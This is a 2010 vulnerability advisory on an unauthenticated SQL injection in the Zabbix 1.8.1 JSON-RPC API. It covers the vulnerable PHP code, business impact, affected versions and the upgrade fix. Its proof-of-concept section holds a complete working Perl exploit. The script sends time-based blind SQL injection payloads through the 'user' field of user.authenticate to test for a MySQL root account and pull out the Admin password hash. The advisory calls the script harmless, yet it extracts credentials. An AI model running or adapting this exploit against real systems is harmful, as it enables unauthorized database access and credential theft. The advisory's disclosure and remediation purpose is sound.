=============================================

• Release date: April 1st, 2010
• Discovered by: Dawid Golunski
• Severity: High
  =============================================

I. VULNERABILITY

Zabbix <= 1.8.1 SQL Injection

II. BACKGROUND

Zabbix is an enterprise-class open source distributed monitoring
solution.
Zabbix is software that monitors numerous parameters of a network and
the
health and integrity of servers. Properly configured, Zabbix can play an
important role in monitoring IT infrastructure. This is equally true for
small organisations with a few servers and for large companies with a
multitude of servers.

III. INTRODUCTION

Zabbix version 1.8 introduces an API which is vulnerable to an SQL
Injection
attack (up to 1.8.2). No authentication required.

IV. DESCRIPTION

Zabbix API uses a function called DBcondition() (definded in
include/db.inc.php) to format conditions in WHERE clause of an SQL query
The function expects sanitized data and does not perform any additional
checks:

function DBcondition($fieldname, &$array, $notin=false, $string=false){
global $DB;
$condition = '';
—[cut]—
$in = $notin?' NOT IN ':' IN ';
$concat = $notin?' AND ':' OR ';
$glue = $string?"','":',';

    switch($DB['TYPE']) {
            case 'SQLITE3':
            case 'MYSQL':
            case 'POSTGRESQL':
            case 'ORACLE':
            default:
                    $items = array_chunk($array, 950);
                    foreach($items as $id => $values){
                            $condition.=!empty($condition)?')'.$concat.$fieldname.$in.'(':'';
                            if($string)     $condition.= "'".implode($glue,$values)."'";
                            else            $condition.= implode($glue,$values);
                    }
                    break;
    }

    if(zbx_empty($condition)) $condition = $string?"'-1'":'-1';

return ' ('.$fieldname.$in.'('.$condition.')) ';
}

The DBcondition() is used numerous times within Zabbix API code to
include
user supplied parameters within SQL queries. It is also used during the
authentication in class.cuser.php:

class CUser extends CZBXAPI{
—[cut]—
public static function get($options=array()){
—[cut]—
// users
if(!is_null($options['users'])){
zbx_value2array($options['users']);
$sql_parts['where'][] = DBcondition('u.alias', $options['users'],
false, true);
}

—[cut]—
if(!empty($sql_parts['where'])) $sql_where.= ' AND '.implode('
AND ',$sql_parts['where']);

—[cut]—
$sql = 'SELECT DISTINCT '.$sql_select.'
FROM '.$sql_from.'
WHERE '.DBin_node('u.userid', $nodeids).
$sql_where.
$sql_order;
$res = DBselect($sql, $sql_limit);
—[cut]—

The $options['users'] variable can be supplied by calling the
user.authenticate method of the Zabbix API with a 'user' paramter as we
can tell from rpc/class.czbxrpc.php file:

// Authentication {{{
if(($resource == 'user') && ($action == 'authenticate')){
$sessionid = null;

    $options = array(
                    'users' => $params['user'],
                    'extendoutput' => 1,
                    'get_access' => 1
                    );
    $users = CUser::get($options);
    $user = reset($users);
    if($user['api_access'] != GROUP_API_ACCESS_ENABLED){
            self::$result = array('error' => ZBX_API_ERROR_NO_AUTH, 'data' =>  

'No API access');
return self::$result;
}

This lack of sanitization leads to an SQL Injection vulnerability which
can be exploited without any authentication.

V. PROOF OF CONCEPT

Below is a harmless PoC exploit that retrieves password hashes and
checks
for mysql root account.

#!/usr/bin/perl

zabbix181api.pl - Zabbix <= 1.8.1 API SQL Injection PoC Exploit

Copyright (c) 2010

Dawid Golunski <dawid[!]legalhackers.com>

legalhackers.com

Description

-----------

A PoC exploit for Zabbix <= 1.8.1 API (api_jsonrpc.php) prone to

an sql injection attack allowing unauthenticated users to access

the backend database.

The exploit performs a blind time-based sql injection attack to

retrieve Zabbix Admin's password hash and check if Zabbix uses a

MySQL root account.

Example

-----------

$ ./zabbix181api.pl http://10.0.0.1/zabbix

Target: http://10.0.0.1/zabbix

Reqtime: 0.2s ; SleepTime: 0.4s

Checking if zabbix uses mysql root account… No

Extracting Admin's password hash from zabbix users table:

5fce1b3c34b520ageffb47ce08a7cd76

Job done.

use Time::HiRes qw(gettimeofday tv_interval);
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;

my $zabbix_api_url = shift || die "No target url provided. Exiting.\n";
$zabbix_api_url .= "/api_jsonrpc.php";
my $ua = LWP::UserAgent->new;
$ua->timeout(8);

sub sendRequest
{
my ($api_url, $data) = @_;
my $start_time = [gettimeofday];
my $response = $ua->request(POST "$api_url",
Content_Type => "application/json-rpc",
Content => "$data");
my $end_time = [gettimeofday];
my $elapsed_time = tv_interval($start_time,$end_time);
my $elapsed_time_sec = sprintf "%.1f", $elapsed_time;

    my %result = ("content", $response->content,
                  "code", $response->code,
                  "success", ($response->is_success() ? 1 : 0),
                  "time", $elapsed_time_sec);
    return %result;

}

%result = sendRequest($zabbix_api_url, "");
if ($result{success} ne 1) {
die "Could not access zabbix API.\n";
}
my $req_time = $result{time};
my $sleep_time = ($req_time * 2.0);

print "Target: $zabbix_api_url\n";
print "Reqtime: ${req_time}s ; SleepTime: ${sleep_time}s \n\n";

$| = 1;

print "Checking if zabbix uses mysql root account… ";
my $jsondata = '{"auth":null,"method":"user.authenticate","id":
1,"params":{'.
'"password":"apitest123",'.
'"user":"Admin\') ) OR '.
'if (!strcmp(substring(user(),1,4),\'root\'),sleep('.
$sleep_time.'),0) '.
' – end "},"jsonrpc":"2.0"}';
%result = sendRequest($zabbix_api_url, $jsondata);
print $result{content};
if ($result{time} >= $sleep_time) {
print "Yes!\n\n";
} else {
print "No\n\n";
}

my $username = "Admin";
my @chars = (0 … 10, "a" … "f");
my $md5_hash = "";
print "Extracting Admin's password hash from zabbix users table:\n";
for (my $offset=1; $offset<=32; $offset++) {
for (my $idx=0; $idx<(scalar @chars); $idx++) {
$jsondata = '{"auth":null,"method":"user.authenticate","id":
1,"params":{'.
'"password":"apitest123",'.
'"user":"'.$username.'\') ) AND '.
'if (!strcmp(substring(u.passwd,'.$offset.',1),\''.
$chars[$idx].'\'),sleep('.$sleep_time.'),0) '.
' – end "},"jsonrpc":"2.0"}';
%result = sendRequest($zabbix_api_url, $jsondata);
if ($result{time} >= $sleep_time) {
$md5_hash .= $chars[$idx];
print $chars[$idx];
}
}
}
print "\nJob done.\n";

VI. BUSINESS IMPACT

An attacker could exploit the vulnerability to retrieve any data from
databases accessible by zabbix db user.
In case zabbix has been given a more privileged mysql account the
exploitation could go as far as code execution.

Users running a vulnerable version of zabbix can become an easy
target as zabbix installation can be easily discovered if default
settings are used by checking for a listening server on port 10051 and/
or
existence of api script at http://host/zabbix/api_jsonrpc.php

VII. SYSTEMS AFFECTED

Versions 1.8 and 1.8.1 are vulnerable.
Versions in line 1.7.x starting from 1.7.2 also contain the
api and could be vulnerable.

VIII. SOLUTION

Upgrade to version 1.8.2 that has just come out or remove the API
(api_jsonrpc.php) from your installation if not in use.

IX. REFERENCES

http://www.zabbix.com
http://legalhackers.com/advisories/zabbix181api-sql.txt
http://legalhackers.com/poc/zabbix181api.pl-poc

X. CREDITS

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
legalhackers.com

XI. REVISION HISTORY

April 1st, 2010: Initial release

XII. LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this
information.